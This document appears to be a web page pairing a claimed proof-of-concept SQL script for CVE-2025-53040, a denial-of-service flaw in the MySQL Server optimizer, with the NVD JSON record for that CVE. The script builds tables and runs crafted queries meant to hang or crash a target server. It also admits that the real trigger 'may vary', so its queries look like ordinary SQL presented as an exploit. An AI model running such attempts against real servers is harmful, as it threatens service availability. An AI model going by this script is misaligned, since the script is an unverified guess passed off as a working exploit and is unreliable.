CVE-2025-53040

-- CVE-2025-53040 PoC: MySQL Optimizer DoS -- Vulnerability: Denial of Service via Optimizer component -- Affected: MySQL 8.0.0-8.0.43, 8.4.0-8.4.6, 9.0.0-9.4.0 -- Requires: High privileged MySQL account -- Connect to the target MySQL server with high-privileged credentials -- mysql -h <target_host> -u <admin_user> -p -- Step 1: Create a test database (requires high privileges) CREATE DATABASE IF NOT EXISTS cve_test_db; USE cve_test_db; -- Step 2: Create tables with specific structures to trigger optimizer bug CREATE TABLE t1 ( id INT PRIMARY KEY AUTO_INCREMENT, col1 VARCHAR(255), col2 TEXT, col3 INT, INDEX idx_col1 (col1), INDEX idx_col3 (col3) ); CREATE TABLE t2 ( id INT PRIMARY KEY AUTO_INCREMENT, ref_id INT, data LONGTEXT, INDEX idx_ref (ref_id) ); -- Step 3: Insert sample data INSERT INTO t1 (col1, col2, col3) VALUES ('test1', REPEAT('A', 200), 1), ('test2', REPEAT('B', 200), 2), ('test3', REPEAT('C', 200), 3); INSERT INTO t2 (ref_id, data) VALUES (1, REPEAT('X', 1000)), (2, REPEAT('Y', 1000)), (3, REPEAT('Z', 1000)); -- Step 4: Trigger the optimizer vulnerability with a crafted query -- This complex query is designed to trigger the optimizer bug SELECT /*+ JOIN_ORDER(t1, t2) */ t1.id, t1.col1, t2.data FROM t1 INNER JOIN t2 ON t1.id = t2.ref_id WHERE t1.col3 IN (SELECT col3 FROM t1 WHERE col1 LIKE '%test%') ORDER BY t1.col1 DESC LIMIT 100; -- Step 5: Alternative trigger - subquery optimization exploit SELECT * FROM t1 WHERE id IN ( SELECT ref_id FROM t2 WHERE data LIKE CONCAT('%', (SELECT MAX(col1) FROM t1), '%') ); -- Note: The actual exploit may vary depending on the specific -- optimizer path triggered. The above demonstrates the general -- approach of using complex queries to trigger the optimizer bug. -- Monitor MySQL server for hang or crash after execution.

{"cve": {"id": "CVE-2025-53040", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.140", "lastModified": "2025-10-23T16:08:00.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.43", "matchCriteriaId": "529028FC-6CB5-4885-A524-F26B8F81BD98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}